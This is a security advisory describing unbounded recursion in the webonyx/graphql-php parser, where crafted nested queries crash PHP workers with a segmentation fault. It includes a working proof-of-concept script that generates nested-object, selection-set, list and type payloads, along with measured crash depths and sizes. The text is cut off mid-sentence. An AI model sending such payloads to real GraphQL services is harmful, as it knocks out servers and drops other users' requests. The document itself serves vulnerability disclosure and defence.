Improper resource allocation In webonyx/graphql-php

Description

webonyx/graphql-php has unbounded recursion in parser that causes stack overflow on crafted nested input ## Summary GraphQL\Language\Parser is a recursive descent parser with no recursion depth limit and no zend.max_allowed_stack_size interaction. Crafted nested queries trigger a SIGSEGV in the PHP runtime, killing the FPM/CLI worker process. Smallest crashing payload is approximately 74 KB. ## Affected Component - src/Language/Parser.php -- the Parser class (no recursion depth tracking) - src/Language/Lexer.php -- the Lexer class ## Severity HIGH (8.2) -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H Integrity is Low because the entire PHP process (FPM worker, CLI process, Swoole worker, RoadRunner worker, etc.) is terminated by SIGSEGV. Every concurrent request handled by the same process is dropped along with the attacker's request, with no error message, no log entry, and no recovery path beyond restart. The 74 KB minimum crashing payload sits well below any common HTTP body size limit, and the failure mode is the worst possible: not catchable, not observable, no diagnostics. ## Description GraphQL\Language\Parser parses GraphQL documents using mutually recursive PHP methods (parseValueLiteral, parseObject, parseObjectField, parseList, parseSelectionSet, parseSelection, parseField, parseTypeReference, parseInlineFragment). The constructor (Parser.php:325) accepts only three options: php // src/Language/Parser.php:64 /** * @phpstan-type ParserOptions array{ * noLocation?: bool, * allowLegacySDLEmptyFields?: bool, * allowLegacySDLImplementsInterfaces?: bool, * } */ There is no maxTokens, no maxDepth, no maxRecursionDepth, no token counter, and no recursion depth counter anywhere in the parser or lexer. PHP recursion is bounded only by the C stack size (typically 8 MB via ulimit -s 8192). When the C stack is exhausted by graphql-php's recursive parser, PHP segfaults. The PHP 8.3 runtime ships with zend.max_allowed_stack_size (default 0 = auto-detect), which is supposed to convert userland recursion overflow into a catchable Stack overflow detected error. In practice, this protection does not catch the graphql-php parser overflow: testing with PHP 8.3.30 in default Docker configuration, every crashing depth produces SIGSEGV (exit code 139), not a catchable error. This finding has been tested against the latest stable release webonyx/[email protected] running on PHP 8.3.30. ## Root Cause php // src/Language/Parser.php:168 class Parser { // ... no recursionDepth field ... private Lexer $lexer; // src/Language/Parser.php:325 public function __construct($source, array $options = []) { $sourceObj = $source instanceof Source ? $source : new Source($source); $this->lexer = new Lexer($sourceObj, $options); } There is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level). ## Proof of Concept php // composer require webonyx/graphql-php:v15.31.4 <?php require __DIR__.'/vendor/autoload.php'; use GraphQL\Language\Parser; // Each invocation tests one (vector, depth) pair so we can observe per-process // exit code. SIGSEGV cannot be caught by PHP try/catch. $v = $argv[1]; $d = (int)$argv[2]; switch ($v) { case 'A': $q = "{ a(x: " . str_repeat('{a: ', $d) . '1' . str_repeat('}', $d) . ") }"; break; case 'B': $q = str_repeat('{ a', $d) . str_repeat(' }', $d); break; case 'C': $q = "{ a(x: " . str_repeat('[', $d) . '1' . str_repeat(']', $d) . ") }"; break; case 'D': $q = "query(\$v: " . str_repeat('[', $d) . "Int" . str_repeat(']', $d) . ") { a }"; break; } try { Parser::parse($q); echo "OK depth=$d size=" . strlen($q) . "\n"; } catch (\Throwable $e) { echo "ERR " . get_class($e) . ": " . substr($e->getMessage(), 0, 80) . "\n"; exit(1); } ### Crash thresholds measured on webonyx/[email protected], PHP 8.3.30, ulimit -s 8192, Linux x86_64 Each vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11). | Vector | Recursive call chain | last_OK_depth | crash_depth | Crash payload size | |--------|----------------------|---:|---:|---:| | A: nested object values {a:{a:..}} | parseValueLiteral -> parseObject -> parseObjectField -> parseValueLiteral | 25,781 | 26,250 | ~129 KB | | B: nested selection sets {a{a{..}}} | parseSelectionSet -> parseSelection -> parseField -> parseSelectionSet | 25,781 | 26,250 | ~129 KB | | C: nested list values [[..1..]] | parseValueLiteral -> parseList -> parseValueLiteral | 37,187 | 37,500 | ~74 KB | | D: nested list types [[Int]] | parseTypeReference -> parseTypeReference | 87,187 | 87,500 | ~174 KB | The smallest reliable crashing payload is vector C (nested list values) at approximately 74 KB. All four vectors stay under any field, complexity, or depth validation rule because they crash at parse time, before validation runs. ### Process exit observed $ php -d xdebug.mode=off poc_one.php C 37500 $ echo $? 139 $ Standard error contains no PHP error message, no stack trace, no log entry. The process is killed by the kernel via SIGSEGV. In a php-fpm deployment, the FPM master logs WARNING: [pool www] child 12345 exited on signal 11 (SIGSEGV) and respawns the worker, dropping any in-flight requests on that worker. ### zend.max_allowed_stack_size does not help PHP 8.3 introduced zend.max_allowed_stack_size (default 0 = auto-detect from pthread_attr_getstacksize) to detect userland recursion overflow and raise a catchable Stack overflow detected error. In testing against graphql-php v15.31.4, this protection does not prevent the segfault: === Default settings === $ php -d xdebug.mode=off poc.php A 30000 Segmentation fault EXIT=139 === zend.max_allowed_stack_size=2M === $ php -d zend.max_allowed_stack_size=2097152 poc.php A 30000 Segmentation fault EXIT=139 === zend.max_allowed_stack_size=1M, reserved=128K === $ php -d zend.max_allowed_stack_size=1048576 -d zend.reserved_stack_size=131072 poc.php A 30000 Segmentation fault EXIT=139 === ulimit -s 4096, default zend settings === $ php -d xdebug.mode=off poc.php A 15000 Segmentation fault EXIT=139 Every configuration tested produces SIGSEGV. The runtime check is not catching this overflow class, possibly because the per-frame stack consumption is below the per-call check granularity, or because the auto-detection of the available stack diverges from the actual ulimit -s in containerized environments. Either way, default PHP 8.3 configurations as shipped by official Docker images do not protect against this. ## Why try/catch cannot help PHP's try { Parser::parse($q); } catch (\Throwable $e) { ... } cannot catch SIGSEGV. The signal

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions